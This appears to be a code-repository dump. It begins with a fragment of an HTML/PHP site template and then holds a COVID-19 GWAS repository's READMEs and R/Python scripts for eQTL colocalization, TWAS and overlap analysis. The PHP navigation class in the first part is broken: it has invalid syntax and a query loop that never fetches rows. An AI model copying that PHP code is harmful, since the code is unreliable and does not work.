class="clear"></div> </div> </li> <li><a href="#"> <img width="80" height="80" src="assets/img/undo-80x80.jpg" class="attachment-thumbnail-widget wp-post-image" alt="undo" /> </a> <div class="an-display-time">2 years ago</div><br /> <h3><a href="#">Undo &#8211; Premium WordPress News / Magazine Theme</a></h3> <div class="sub-article-widget"> <div class="an-display-view"><i class="fa fa-eye"></i> 4672</div> <div class="an-display-like"><a href="#" class="zilla-likes" id="zilla-likes-221" title="Like this"><span class="zilla-likes-count">294</span> <span class="zilla-likes-postfix"></span></a></div> <div class="an-display-comm"><i class="fa fa-comments"></i> <a href="#" title="Comment on Undo &#8211; Premium WordPress News / Magazine Theme">1</a></div><div class="clear"></div> </div> </li> <li><a href="#"> <img width="80" height="80" src="assets/img/SplitShire_IMG_6632-80x80.jpg" class="attachment-thumbnail-widget wp-post-image" alt="SplitShire_IMG_6632" /> </a> <div class="an-display-time">2 years ago</div><br /> <h3><a href="#">Super Bowl 2014 Ads Watch Commercials: Watch Them All Here</a></h3> <div class="sub-article-widget"> <div class="an-display-view"><i class="fa fa-eye"></i> 3900</div> <div class="an-display-like"><a href="#" class="zilla-likes" id="zilla-likes-333" title="Like this"><span class="zilla-likes-count">435</span> <span class="zilla-likes-postfix"></span></a></div> <div class="an-display-comm"><i class="fa fa-comments"></i> <a href="#" title="Comment on Super Bowl 2014 Ads Watch Commercials: Watch Them All Here">0</a></div><div class="clear"></div> </div> </li> <li><a href="#"> <img width="80" height="80" src="assets/img/picjumbo.com_IMG_4340-80x80.jpg" class="attachment-thumbnail-widget wp-post-image" alt="picjumbo.com_IMG_4340" /> </a> <div class="an-display-time">2 years ago</div><br /> <h3><a href="#">Close-up of a green turtle underwater on a coral</a></h3> <div class="sub-article-widget"> <div class="an-display-view"><i class="fa fa-eye"></i> 3564</div> <div class="an-display-like"><a href="#" class="zilla-likes" id="zilla-likes-64" title="Like this"><span class="zilla-likes-count">71</span> <span class="zilla-likes-postfix"></span></a></div> <div class="an-display-comm"><i class="fa fa-comments"></i> <a href="#" title="Comment on Close-up of a green turtle underwater on a coral">3</a></div><div class="clear"></div> </div> </li> </ul> </div> <div class="widget widget_text"><h3 class="title"><span>Advertisement</span></h3><div class="clear"></div> <div class="textwidget"><a href="#" target="_blank"><img src="assets/img/banner.jpg" width="300" height="250" alt="banner" /></a></div> </div></aside> <!-- end #sidebar (right) --> <div class="clear"></div> </section><!-- end .wrap --> <!-- Popular Words --> <div class="sub-navigation-footer"> <div class="wrap"> <!-- popular words --> <div class="popular-words"> <strong>Popular tags:</strong> <a href='#' class='tag-link-15' title='2 topics' style='font-size: 8pt;'>1930s</a> <a href='#' class='tag-link-22' title='2 topics' style='font-size: 8pt;'>amazing</a> <a href='#' class='tag-link-23' title='4 topics' style='font-size: 11.948717948718pt;'>animal</a> <a href='#' class='tag-link-31' title='3 topics' style='font-size: 10.153846153846pt;'>background</a> <a href='#' class='tag-link-79' title='10 topics' style='font-size: 18.051282051282pt;'>featured</a> <a href='#' class='tag-link-103' title='3 topics' style='font-size: 10.153846153846pt;'>media</a> <a href='#' class='tag-link-111' title='17 topics' style='font-size: 22pt;'>photo</a> <a href='#' class='tag-link-114' title='3 topics' style='font-size: 10.153846153846pt;'>review</a> <a href='#' class='tag-link-120' title='5 topics' style='font-size: 13.384615384615pt;'>social</a> <a href='#' class='tag-link-125' title='4 topics' style='font-size: 11.948717948718pt;'>video</a> </div> </div><!-- end .wrap --> <?php include('includes/footer.php'); ?> <file_sep><?php /** * Created by PhpStorm. * User: munabste * Date: 9/1/2015 * Time: 10:11 AM */ spl_autoload_register(function($class) { require_once ("../class/{$class}.php"); }); class Navigation extends Dbconnection { public function nav() { // connect to mysql //$link = mysql_connect( 'localhost', 'username', 'password' ); $dbConnection = new Dbconnection(); // select the database //mysql_select_db('my_database', $link); // create an array to hold the references $refs = array(); // create and array to hold the list $list = array(); // the query to fetch the menu data $sql = "SELECT menu_item_id, menu_parent_id, menu_item_name FROM menu_items ORDER BY menu_item_name"; // get the results of the query $result = mysqli_query(Dbconnection::getConnection(), $sql); // loop over the results while($data = mysqli_query(Dbconnection::getConnection(), $sql)) { // Assign by reference $thisref = &$refs[ $data['menu_item_id'] ]; // add the the menu parent $thisref['menu_parent_id'] = $data['menu_parent_id']; $thisref['menu_item_name'] = $data['menu_item_name']; // if there is no parent id if ($data['menu_parent_id'] == 0) { $list[ $data['menu_item_id'] ] = &$thisref; } else { $refs[ $data['menu_parent_id'] ]['children'][ $data['menu_item_id'] ] = &$thisref; } } } /** * * Create a HTML list from an array * * @param array $arr * @param string $list_type * @return string * */ function create_list( $this->$arr ) { $html = "\n<ul>\n"; foreach ($arr as $key=>$v) { $html .= '<li>'.$v['menu_item_name']."</li>\n"; if (array_key_exists('children', $v)) { $html .= "<li>"; $html .= create_list($v['children']); $html .= "</li>\n"; } else{} } $html .= "</ul>\n"; return $html; } echo create_list( $list ); }
1a285da170b0653624bcdc2287cee5bcd90d9139
[ "JavaScript", "SQL", "PHP" ]
24
PHP
stephenx99/xframe
ead77fc988d5c84b8c3799a53763fdad8e609291
210d53aec8f2eaf3a612a3c5d4659f3c44fff493
refs/heads/main
<repo_name>souryacs/DICE_COVID-19_GWAS_study<file_sep>/colocalization/README.md Colocalization Analysis ------------------------------------- Colocalization analysis infers whether two phenotypes (having summary statistics) are likely to be under the influence of the same causal genetic variant in a given region. *coloc* is the most cited tool to perform colocalization analysis. This repository contains a working implementation of *coloc* For further reading see: https://pubmed.ncbi.nlm.nih.gov/19039033/ https://journals.plos.org/plosgenetics/article?id=10.1371/journal.pgen.1004383 https://journals.plos.org/plosgenetics/article?id=10.1371/journal.pgen.1008720 Colocalization ---------------------------- To perform colocalization analysis using eQTLs and GWAS summary statistics, *first install the following R libraries* (type the following command in R prompt): install.packages(c('data.table', 'stringr', 'snpStats', 'ggplot2', 'ggplotify', 'argparse', 'coloc')) *Then run the commands below* Parameters description: 1.- "--celltype": celltype name 2.- "--gwas": gwas summary statistics (see output/gwas_input/C2_ALL_eur_leave_23andme_round5.tsv) 3.- "--snpinfo": file containing chromosome. position. reference and alternative allele for each snp (see coloc_example_data/snpinfo/snpinfo_chr12.txt) 4.- "--chr": chromosome 5.- "--outdir": output directory 6.- "--ref-eqtls": file containg eqtls for the celltype specified (see ../example_data/refeqtls/NCM.bed) 7.- "--matrix-eqtl": Matrix eqtl output file for celltype and chromosome specified (see coloc_example_data/matrix_eqtl/Output_Chr12_all_cis.txt) 8.- "--use-cc": Use 0 to run the analysis using pvalue and standard error (se), 1 to use case control ratio, or 2 to use pval, se and case control ratio. We recommend using 0 for this parameter. 9.- "--cc-ratio": Case control ratio (only used if --use-cc is 1 or 2), obtained from the reference GWAS studies. 10.- "--p12": prior probability of a variant being an eQTL and a GWAS-associated variant. This is an optional parameter. By default p12 = 1e-5 (recommended). Users are advised to not alter this parameter unless they are absolutely sure. *get GWAS significant snps* mkdir -p output/gwas_input/; mkdir -p output/chr12/; awk '($5<5e-08)' ../example_data/gwas/C2_ALL_eur_leave_23andme.tsv > output/gwas_input/C2_ALL_eur_leave_23andme.tsv *Run Coloc* Rscript scripts/Colocalization_Analysis_GWAS_Script.R \ --celltype NCM \ --gwas output/gwas_input/C2_ALL_eur_leave_23andme.tsv \ --chr chr12 \ --outdir output/chr12 \ --ref-eqtls ../example_data/eqtls/NCM.bed \ --matrix-eqtl coloc_example_data/matrix_eqtl/Output_Chr12_all_cis.txt \ --use-cc 0 \ --snpinfo coloc_example_data/snpinfo/snpinfo_chr12.txt; *Summarize coloc results* Parameters description: 1.- "--coloc-dir" output folder specified in colocalization analysis (see command above) 2.- "--ref-eqtls" file containg eqtls for the celltype specified (see example_data/refeqtls/NCM.bed) Rscript scripts/Colocalization_Analysis_GWAS_Summary_Script.R \ --coloc-dir output/chr12 \ --ref-eqtls ../example_data/eqtls/NCM.bed; *Filter results* To keep only colocalized snps that are eQTLs or in LD with an eQTL run the following commands: Parameters description: 1.- "--bfile" prefix for .bed .bim and .fam genotype files. 2.- "--keep" file containing samples to keep 3.- ld_snp_list: a file with the list of colocalized snps for one gene *get colocalized snps for gene OAS1* mkdir -p output/plink/; grep OAS1 output/chr12/Out_Summary_Coloc_Gene_SNP_Pairs_Filtered_PP4.bed | cut -f10 > output/plink/input.txt; *get LD snps for colocalized snps (for further information check https://www.cog-genomics.org/plink/)* plink --bfile {prefix} --keep {your_file} --r2 --ld-snp-list output/plink/input.txt --ld-window-kb 1000 --ld-window 99999 --ld-window-r2 0.8 --out output/plink/LD_out *get colocalized snps that are eQTLs or in LD with an eQTL* eqtls=$(grep -wFf <(cut -f3 ../example_data/eqtls/NCM.bed | sort | uniq ) output/plink/LD_out.ld | sed -r "s/\s+/\t/g" | cut -f4 | sort | uniq) (head -n1 output/chr12/Out_Summary_Coloc_Gene_SNP_Pairs_Filtered_PP4.bed && grep -f <(echo $eqtls | sed -r 's/\s+/\n/g') output/chr12/Out_Summary_Coloc_Gene_SNP_Pairs_Filtered_PP4.bed) > output/chr12/Coloc_results.bed <file_sep>/twas/README.md TWAS Analysis --------------------- GWAS studies have successfully identified genetic loci for several trait, however, the target molecules on which they exert their effects are still unknown. Transcriptome-wide association studies (TWAS) have been developed to address this problem by identifying putative causal genes. In brief, TWAS tests the effects of gene expression on phenotypes by using transcriptome prediction models and GWAS summary statistics. For further information, read: https://www.nature.com/articles/s41467-018-03621-1 Prediction Models -------------------- The following steps build prediction models based on expression and genotype data using an Elastic Net algorithm with a 10-fold cross-validation. This is performed in 2 steps, model training and make db file step. To build prediction models you will need: 1.- Model Training script (see https://github.com/gamazonlab/MR-JTI/blob/master/model_training/predixcan/src/predixcan_r.r) 2.- "--plink_file_name" prefix for 3 genotype files (.bed, .bim and .fam) 3.- "--expression_file_name" An expression matrix with donor id as columns and genes as rows (see twas_example_data/prediction_models/expression/NCM.txt) 4.- "--annotation_file_name" A gene annotation file (see twas_example_data/prediction_models/annotation/gene_annotation.txt) *Model Training* mkdir -p output/prediction_models/NCM; for ID in $(seq 1 $(echo $(($(wc -l twas_example_data/prediction_models/expression/NCM.txt | cut -f1 -d' ')/100)))); do Rscript predixcan_r.r \ --model_training \ --main_dir output/prediction_models/NCM \ --plink_file_name {prefix} \ --expression_file_name twas_example_data/prediction_models/expression/NCM.txt \ --subjob_id $ID \ --n_genes_for_each_subjob 100 \ --annotation_file_name twas_example_data/prediction_models/annotation/gene_annotation.txt \ --n_folds 10 \ --gene_type protein_coding,lincRNA,miRNA; done *Make db file* Rscript predixcan_r.r \ --generate_db_and_cov \ --main_dir output/prediction_models/NCM \ --plink_file_name {prefix} \ --expression_file_name twas_example_data/prediction_models/expression/NCM.txt \ --annotation_file_name twas_example_data/prediction_models/annotation/gene_annotation.txt \ --output_file_name NCM; TWAS ------------------- To perform TWAS analysis the following files and software are required: 1.- MetaXcan software (see https://github.com/hakyimlab/MetaXcan) 2.- "--model_db_path" A db file of the prediction model (see output/prediction_models/NCM/output/NCM.db, also see steps above) 3.- "--covariance" A covariance file of the prediction model (see see output/prediction_models/NCM/output/NCM.cov, also see steps above) 4.- "--gwas_file" A gwas summary statistics file (see ../example_data/gwas/C2_ALL_eur_leave_23andme.tsv) *Perform TWAS* python SPrediXcan.py \ --model_db_path output/prediction_models/NCM/output/NCM.db \ --covariance output/prediction_models/NCM/output/NCM.cov \ --gwas_file ../example_data/gwas/C2_ALL_eur_leave_23andme.tsv \ --snp_column rsid \ --effect_allele_column alt \ --non_effect_allele_column ref \ --beta_column beta \ --pvalue_column pval \ --output_file output/TWAS/C2_ALL_eur_leave_23andme/NCM.asso.csv; *Filter results* To filter TWAS results, by the effective number of gene-model pairs tested, run the command below. 'twas_folder' is the path to all TWAS results, 'models_folder' is the path where the prediction models are saved and 'models' a comma separated list of models used for the TWAS analyses. python scripts/filter_twas.py --twas_folder output/TWAS/C2_ALL_eur_leave_23andme --models_folder output/prediction_models --models NCM --out output/filtered_TWAS/C2_ALL_eur_leave_23andme.csv <file_sep>/overlap/README.md Overlap of GWAS-associated variants with eQTLs -------------------------------------------------- The following steps show how to perform a simple overlap analysis between GWAS and eQTLs using GWAS-associated snps + snps in LD. *Input files description* Plink files/arguments: 1.- "--bfile" prefix for .bed .bim and .fam genotype files. 2.- "--keep" file containing samples to keep 3.- "--ld-snp-list" a file listing input snps 4.- "--ld-window-r2" r2 threshold For further information check https://www.cog-genomics.org/plink/2.0/ Overlap.py files/arguments: 1.- "--gwas" gwas summary statistics file (see ../example_data/gwas) 2.- "--ld" plink output file (see output/ld/chr12_out.ld) 3.- "--eqtls" file containin eqtl info (see ../example_data/eqtls/NCM.bed) *Output Files* Plink output: output/ld/chr12/chr12_out.ld contains LD snps for each input snp provided Overlap.py output: output/overlap/chr12.csv lists all (Lead + LD) snps that are eqtls along with some additional information *Commands* (to be executed in bash terminal) mkdir -p output/ld/input; mkdir -p output/overlap; chromosomes=$(awk '($5<5e-08)' ../example_data/gwas/C2_ALL_eur_leave_23andme.tsv | cut -f1 | sort | uniq); for chrom in $chromosomes; do mkdir -p output/ld/$chrom; ##keep significant gwas snps for one chromosome grep $chrom ../example_data/gwas/C2_ALL_eur_leave_23andme.tsv | awk '($5<5e-08)' | cut -f3 > output/ld/input/$chrom\_input.txt; ##Run LD analysis using plink plink --bfile {prefix} \ --keep {your_file} \ --r2 \ --ld-snp-list output/ld/input/$chrom\_input.txt \ --ld-window-kb 250 \ --ld-window 999999 \ --ld-window-r2 0.8 \ --out output/ld/$chrom/$chrom\_out; ##Overlap eqtls with gwas + LD snps python scripts/Overlap.py --gwas ../example_data/gwas/C2_ALL_eur_leave_23andme.tsv --ld output/ld/$chrom/$chrom\_out.ld --eqtls ../example_data/eqtls/NCM.bed --out output/overlap/$chrom.csv; done <file_sep>/colocalization/scripts/Colocalization_Analysis_GWAS_Summary_Script.R #!/usr/bin/env Rscript #========================== # summary of colocalization analysis with respect to a particular GWAS data, and for all the chromosomes # uses output of Colocalization_Analysis_GWAS_Script.R #========================== library(data.table) library(argparse) options(scipen = 10) options(datatable.fread.datatable=FALSE) # set of chromosomes which would be individually analyzed for testing overlap CHRLIST_NAMENUM <- c(paste("chr", seq(1,22), sep=""), "chrX", "chrY") #========================== args <- args<-ArgumentParser() args$add_argument("--coloc-dir",default=NULL,type="character",help="Dir where coloc results are saved") args$add_argument("--ref-eqtls",default=NULL,type="character",help="Reference eQTL file used for colocalization") args$add_argument("--pp4-threshold",default=0.5,type="double",help="PP H4 threshold") args<-args$parse_args() BaseDir <- args$coloc_dir RefEQTLFile <- args$ref_eqtls THR_POST_PROB <- args$pp4_threshold textfile <- paste0(BaseDir, '/Out_Summary_coloc_stat.log') ##===== output summary file to contain the colocalized gene - SNP pairs - first draft ColocSNPInfoFile <- paste0(BaseDir, '/Out_Summary_Coloc_Gene_SNP_Pairs.bed') ##==== output summary file according to the posterior probability condition ColocSNPInfoFile_Filt <- paste0(BaseDir, '/Out_Summary_Coloc_Gene_SNP_Pairs_Filtered_PP4.bed') ##==== boolean variable indicating the summary output construction bool_DF <- FALSE ##====== reference EQTL file RefEQTLData <- data.table::fread(RefEQTLFile, header=T) dump_Ref_eQTL_Data <- RefEQTLData[, c("rsnumber", "Ens_gene_id", "chr", "pos", "Distance.to.TSS", "pvalue", "FDR", "beta", "Mean.TPM", "gene_name")] list_eGenes<-list.files(args$coloc_dir) list_eGenes<-list_eGenes[grepl("GeneID",list_eGenes)] list_eGenes<-gsub("GeneID_","",list_eGenes) dump_Ref_eQTL_Data <- dump_Ref_eQTL_Data[which(dump_Ref_eQTL_Data[, 2] %in% list_eGenes), ] colnames(dump_Ref_eQTL_Data) <- c('rs_id', 'gene_id', 'chr', 'pos', 'TSSDist', 'pvalue', 'FDR', 'slope', 'meanTPM', 'geneName') list_eGenes<-unique(dump_Ref_eQTL_Data[,c(2,10,3)]) ##====== process each eGene - analyze colocalization results for (geneIdx in 1:nrow(list_eGenes)) { currGeneID <- list_eGenes[geneIdx, 1] currGeneName <- list_eGenes[geneIdx, 2] CurrGeneDir <- paste0(BaseDir, '/GeneID_', currGeneID) ##========= TSS of current gene, from the eQTL data - eQTL position + distance from TSS idx <- which(dump_Ref_eQTL_Data[,2] == currGeneID) TSS_position_currgene <- (dump_Ref_eQTL_Data[idx[1], 4] + dump_Ref_eQTL_Data[idx[1], 5]) ##========= colocalization summary output files coloc_post_prob_summary_file <- paste0(CurrGeneDir, '/coloc_abf_summary_DF1.bed') coloc_summary_file <- paste0(CurrGeneDir, '/coloc_abf_results_detailed.bed') if ((file.exists(coloc_post_prob_summary_file) == TRUE) & (file.exists(coloc_summary_file) == TRUE)) { ##===== posterior probability (of shared variants) pp_H0 <- as.numeric(system(paste("awk -F\'[\t]\' \'{if (NR==3) {print $2}}\' ", coloc_post_prob_summary_file), intern = TRUE)) pp_H1 <- as.numeric(system(paste("awk -F\'[\t]\' \'{if (NR==4) {print $2}}\' ", coloc_post_prob_summary_file), intern = TRUE)) pp_H2 <- as.numeric(system(paste("awk -F\'[\t]\' \'{if (NR==5) {print $2}}\' ", coloc_post_prob_summary_file), intern = TRUE)) pp_H3 <- as.numeric(system(paste("awk -F\'[\t]\' \'{if (NR==6) {print $2}}\' ", coloc_post_prob_summary_file), intern = TRUE)) pp_H4 <- as.numeric(system(paste("awk -F\'[\t]\' \'{if (NR==7) {print $2}}\' ", coloc_post_prob_summary_file), intern = TRUE)) ##====== invalid posterior probability values if (is.na(pp_H3) | is.na(pp_H4)) { next } ##====== gene-SNP pairs from "coloc_summary_file" - pp.H4 > THR_POST_PROB ##====== they indicate potential causal variant coloc_SNP_Set_File <- paste0(CurrGeneDir, '/coloc_SNP_Set.txt') system(paste0("awk -F\'[\t]\' \'((NR==1) || (sprintf(\"%0.400f\",$NF)>", THR_POST_PROB, "))\' ", coloc_summary_file, " > ", coloc_SNP_Set_File)) n <- as.integer(system(paste("cat", coloc_SNP_Set_File, "| wc -l"), intern = TRUE)) if (n <= 1) { next } ##======= for at least one potential causal variant ##======= list the corresponding variant in the final summary file tempDF <- data.table::fread(coloc_SNP_Set_File, header=T) SNPID <- as.vector(tempDF[, 2]) SNPPos <- as.vector(tempDF[, 3]) SNP_pp_H4 <- as.numeric(tempDF[, ncol(tempDF)]) # construct the summary data frame containing possible colocalized gene and SNP pairs # along with their summary statistics, posterior probabilities chr<-list_eGenes[geneIdx, 3] currDF <- data.frame(chr=rep(chr,length(SNPID)),geneID=rep(currGeneID, length(SNPID)), geneName=rep(currGeneName, length(SNPID)), TSS=rep(TSS_position_currgene, length(SNPID)), pp_H0_Coloc_Summary=rep(pp_H0, length(SNPID)), pp_H1_Coloc_Summary=rep(pp_H1, length(SNPID)), pp_H2_Coloc_Summary=rep(pp_H2, length(SNPID)), pp_H3_Coloc_Summary=rep(pp_H3, length(SNPID)), pp_H4_Coloc_Summary=rep(pp_H4, length(SNPID)), ColocSNP=SNPID, ColocSNPPos=SNPPos, ColocSNPppH4=SNP_pp_H4) if (bool_DF == FALSE) { SNPSummaryDF <- currDF bool_DF <- TRUE } else { SNPSummaryDF <- rbind.data.frame(SNPSummaryDF, currDF) } } # end file exist condition } # end gene loop # dump the final summary file SNPSummaryDF["PP4/PP3"]<-SNPSummaryDF["pp_H4_Coloc_Summary"]/SNPSummaryDF["pp_H3_Coloc_Summary"] SNPSummaryDF<-SNPSummaryDF[SNPSummaryDF["PP4/PP3"]>5,] write.table(SNPSummaryDF, ColocSNPInfoFile, row.names=F, col.names=T, sep="\t", quote=F, append=F) ##=== now filter the summary file based on the posterior probability (PP4) threshold (field 9) ##=== this will be the final colocalized set of SNPs system(paste0("awk -F\'\t\' \'((NR==1) || (sprintf(\"%0.400f\",$9) > ", THR_POST_PROB, "))\' ", ColocSNPInfoFile, " > ", ColocSNPInfoFile_Filt)) <file_sep>/overlap/scripts/Overlap.py import datatable as dt import pandas as pd import argparse as argp parser = argp.ArgumentParser() parser.add_argument("--gwas", help="GWAS summary statistics file") parser.add_argument("--ld",help="plink output file") parser.add_argument("--eqtls",help="File with eQTL information") parser.add_argument("--out",help="output file") args = parser.parse_args() ##Read Files gwas=pd.read_table(args.gwas,usecols=["rsid","pval","beta","se","ref","alt"]) ld=dt.fread(cmd=f"sed -r 's/\\s+/\\t/g' {args.ld} | cut -f5,6,7").to_pandas() eqtls=pd.read_table(args.eqtls) significant=gwas[gwas.pval<5*10**-8].rsid.tolist() ld.columns=["chr","pos","rsid"] ld.chr="chr"+ld.chr.astype(str).str[:] ld.drop_duplicates(inplace=True) ld["Category"]=["Lead" if snp in significant else "LD" for snp in ld.rsid] ##extract gwas info ld=pd.merge(ld,gwas,how="left",on="rsid") ##Overlap overlap=pd.merge(ld,eqtls,on=["chr","pos"]).drop_duplicates() overlap.to_csv(args.out,index=False) <file_sep>/twas/scripts/filter_twas.py import pandas as pd import argparse import os parser = argparse.ArgumentParser() parser.add_argument("--twas_folder", help="Folder with TWAS results") parser.add_argument("--models_folder", help="Folder where the prediction models are saved") parser.add_argument("--models",help="Comma separated list of models used for TWAS analysis") parser.add_argument("--out",help="Output file") args = parser.parse_args() ###Load TWAS results### data=[] for file in os.listdir(args.twas_folder): temp=pd.read_csv(os.path.join(args.twas_folder,file)) temp["model"]=file.replace(".asso.csv","") data.append(temp) data=pd.concat(data) ###Get number of gene-model pairs## models=args.models.split(",") npairs=0 for model in models: npairs+=pd.read_csv(f"{args.models_folder}/{model}/output/{model}.cov",sep="\t",usecols=["GENE"]).drop_duplicates().shape[0] ###Filter results### threshold=0.05/npairs data=data[data.pvalue<=threshold] ###Write results outdir=os.path.abspath(os.path.join(args.out, os.pardir)) if not os.path.exists(outdir): os.makedirs(outdir) data.to_csv(args.out,index=False) <file_sep>/colocalization/scripts/Colocalization_Analysis_GWAS_Script.R #!/usr/bin/env Rscript #======================== # this script is for colocalization between eQTL and GWAS summary statistics #======================== # libraries specifically for colocalization library(data.table) library(stringr) library(coloc) library(snpStats) library(ggplot2) library(ggplotify) library(argparse) options(scipen = 10) options(datatable.fread.datatable=FALSE) ##======== pp4 threshold for colocalization ##======== not used here - but still worth to note it THR_POST_PROB <- 0.75 ##===== within chr6, excluded MHC region from consideration ##===== as suggested in https://www.nature.com/articles/nature22403 MHC_chr6_LB <- 28477897 MHC_chr6_UB <- 33448354 #======================= # this function estimates standard error of SNP using beta, MAF values # references: 1) https://www.biostars.org/p/276869/ (last paragraph), # 2) https://www.nature.com/articles/ng.3538, 3) https://www.biostars.org/p/319584/ (last paragraph) # here b = z / sqrt(2p(1-p)(n+z^2)); where b = beta (regression coefficient), z = z score, p = MAF n = sample size # so, z can be estimated as 2p(1-p)(b^2)n / sqrt(1 - 2p(1-p)b^2) # finally standard error is estimated as beta / z #======================= estimate_SE <- function(inpdf, beta_column, MAF_column, size_column) { b <- inpdf[, beta_column] p <- inpdf[, MAF_column] n <- inpdf[, size_column] numerator <- (2 * p * (1-p) * (b ^ 2) * n) squared_denominator <- (1 - 2 * p * (1-p) * (b ^ 2)) Estimated_Z <- rep(0, nrow(inpdf)) zero_denom_idx <- which(squared_denominator == 0) nonzero_denom_idx <- setdiff(seq(1,nrow(inpdf)), zero_denom_idx) Estimated_Z[nonzero_denom_idx] <- numerator[nonzero_denom_idx] / sqrt(abs(squared_denominator[nonzero_denom_idx])) Estimated_Z[zero_denom_idx] <- numerator[zero_denom_idx] # avoid zero division # now estimate the standard error (se) which is basically beta / z zero_Z_idx <- which(Estimated_Z == 0) nonzero_Z_idx <- setdiff(seq(1,length(Estimated_Z)), zero_Z_idx) Estimated_SE <- rep(0, length(Estimated_Z)) Estimated_SE[nonzero_Z_idx] <- b[nonzero_Z_idx] / Estimated_Z[nonzero_Z_idx] Estimated_SE[zero_Z_idx] <- b[zero_Z_idx] # standard error # outdf <- data.frame(SE=Estimated_SE) # testing with variance # check https://sciencing.com/calculate-variance-standard-error-6372721.html outdf <- data.frame(SE=(Estimated_SE * Estimated_SE * n)) return(outdf) } # ************************************************************* # ******** input parameters *********** # ************************************************************* args <- args<-ArgumentParser() args$add_argument("--celltype",default=NULL,type="character",help="celltype name") args$add_argument("--gwas",default=NULL,type="character",help="GWAS summary statistics file") args$add_argument("--snpinfo",default=NULL,type="character",help="Snp information file for chromosome selected") args$add_argument("--chr",default=NULL,type="character",help="Chromosome") args$add_argument("--outdir",default=NULL,type="character",help="Base output directory") args$add_argument("--ref-eqtls",default=NULL,type="character",help="Reference eqtls file") args$add_argument("--matrix-eqtl",default=NULL,type="character",help="Matrix eqtl file for celltype and chromosome specified") args$add_argument("--use-cc",default=1,type="integer",help="Specify 0: to use pvalue and se only, 1: to use case control ratio (cc) only, 2: to use cc, pvalue and se") args$add_argument("--cc-ratio",default=0.33,type="double",help="Case control ratio") args$add_argument("--p12",default=1e-05,type="double",help="Prior probability (p12) value") args<-args$parse_args() InpCellType<- args$celltype inp_GWAS_file <- args$gwas inpchr <- args$chr BaseOutDir <- args$outdir RefEQTLFile <- args$ref_eqtls Complete_MATEQTL_SNP_Gene_Pair_File <- args$matrix_eqtl Use_case_control_stat <- args$use_cc case_control_fraction <- args$cc_ratio p12_val<-args$p12 ################################################################ system(paste("mkdir -p", BaseOutDir)) ##==== output summary file textfile <- paste0(BaseOutDir, '/Out_Summary.log') outtext <- paste0("\n *** Summary statistics for colocalization (GWAS) analysis **** \n cell type : ", InpCellType, "\n input chromosome : ", inpchr, "\n input GWAS summary statistics file : ", inp_GWAS_file, "\n reference EQTL file : ", RefEQTLFile, "\n Complete MATRIXQTL output : ", Complete_MATEQTL_SNP_Gene_Pair_File, "\n Use_case_control_stat : ", Use_case_control_stat, "\n case_control_fraction : ", case_control_fraction, "\n BaseOutDir : ", BaseOutDir) cat(outtext, file=textfile, append=FALSE, sep="\n") ##==== dump GWAS info for "inpchr" Total_GWAS_entries <- as.integer(system(paste("cat", inp_GWAS_file, "| wc -l"), intern = TRUE))-1 GWAS_File_CurrChr <- paste0(BaseOutDir, '/dump_GWAS_Statistic_', inpchr, '.bed') system(paste0("awk -F\'[\t]\' \'{if ((NR==1) || ($1 == \"", inpchr, "\")) {print $0}}\' ", inp_GWAS_file, " > ", GWAS_File_CurrChr)) n <- as.integer(system(paste("cat", GWAS_File_CurrChr, "| wc -l"), intern = TRUE)) if (n <= 1) { stop("STOP !!!!!!! No reference GWAS data for the current chromosome !! quit !!! \n", call.=FALSE) } GWAS_Data_CurrChr <- data.table::fread(GWAS_File_CurrChr, header=T) colnames(GWAS_Data_CurrChr) <- c('chr', 'pos', 'rs_id', 'variant_id', 'pval_nominal', 'slope', 'slope_se') GWAS_Data_CurrChr<-GWAS_Data_CurrChr[,c('chr', 'pos', 'rs_id', 'variant_id', 'pval_nominal', 'slope', 'slope_se')] outtext <- paste0("\n *** Number of reference GWAS SNPs for the current chromosome: ", nrow(GWAS_Data_CurrChr)) cat(outtext, file=textfile, append=TRUE, sep="\n") dump_Ref_eQTL_Data <- data.table::fread(RefEQTLFile, header=T) dump_Ref_eQTL_Data <- dump_Ref_eQTL_Data[, c("rsnumber", "Ens_gene_id", "chr", "pos", "Distance.to.TSS", "pvalue", "FDR", "beta", "Mean.TPM")] dump_Ref_eQTL_Data <- dump_Ref_eQTL_Data[which(dump_Ref_eQTL_Data[, 3] == inpchr), ] if (nrow(dump_Ref_eQTL_Data) == 0) { stop("STOP !!!!!!! No reference eQTL for the current chromosome !! quit !!! \n", call.=FALSE) } colnames(dump_Ref_eQTL_Data) <- c('rs_id', 'gene_id', 'chr', 'pos', 'TSSDist', 'pvalue', 'FDR', 'slope', 'meanTPM') outtext <- paste0("\n *** Number of reference EQTLs for the current chromosome: ", nrow(dump_Ref_eQTL_Data)) cat(outtext, file=textfile, append=TRUE, sep="\n") ##======== standard deviation of gene expression : possible use in colocalization stdev_gene_expr <- sd(unique(dump_Ref_eQTL_Data[, ncol(dump_Ref_eQTL_Data)]),na.rm=T) outtext <- paste0("\n\n ****** Standard deviation of gene expression for the current chromosome: ", stdev_gene_expr) cat(outtext, file=textfile, append=TRUE, sep="\n") ##======== list of eGenes - for each gene, colocalization analysis will be carried out separately list_eGenes <- as.vector(unique(dump_Ref_eQTL_Data[, 2])) outtext <- paste0("\n *** Number of eGenes for the current chromosome: ", length(list_eGenes)) cat(outtext, file=textfile, append=TRUE, sep="\n") ##======== complete SNP information for the current chromosome SNPInfoData <- data.table::fread(args$snpinfo, header=T, sep=" ") # employ space separator colnames(SNPInfoData) <- c('chromosome', 'position', 'variant_id', 'rs_id', 'ref', 'alt', 'AC', 'AF', 'AN') cat(sprintf("\n ===>> after reading SNPInfoData ")) outtext <- paste0("\n SNP info file (complete SNP set) : ", args$snpinfo, "\n ==>> Number of SNPs in the reference SNP information file for the current chromosome : ", nrow(SNPInfoData), " number of columns for this reference dataset : ", ncol(SNPInfoData)) cat(outtext, file=textfile, append=TRUE, sep="\n") ##======== complete matrixQTL results (significant or not) for every gene-SNP pairs ##======== CIS distance < 1 Mb, default DICE configuration ##======== Note: the file name has "Chr" instead of "chr" - so we used stringr::str_to_title() function ##======== fields: snps gene statistic pvalue FDR beta Complete_MATEQTL_SNP_Gene_Pair_Data <- data.table::fread(Complete_MATEQTL_SNP_Gene_Pair_File, header=T) colnames(Complete_MATEQTL_SNP_Gene_Pair_Data) <- c('variant_id', 'gene_id', 'statistic', 'pvalue', 'FDR', 'beta') cat(sprintf("\n ===>> after reading Complete_MATEQTL_SNP_Gene_Pair_Data ")) outtext <- paste0("\n *** Complete MatrixeQTL Association file (matrixQTL output) : ", Complete_MATEQTL_SNP_Gene_Pair_File, "\n Number of MatrixEQTL gene - SNP pairs for the current chromosome : ", nrow(Complete_MATEQTL_SNP_Gene_Pair_Data)) cat(outtext, file=textfile, append=TRUE, sep="\n") ##=========== merged SNP information + 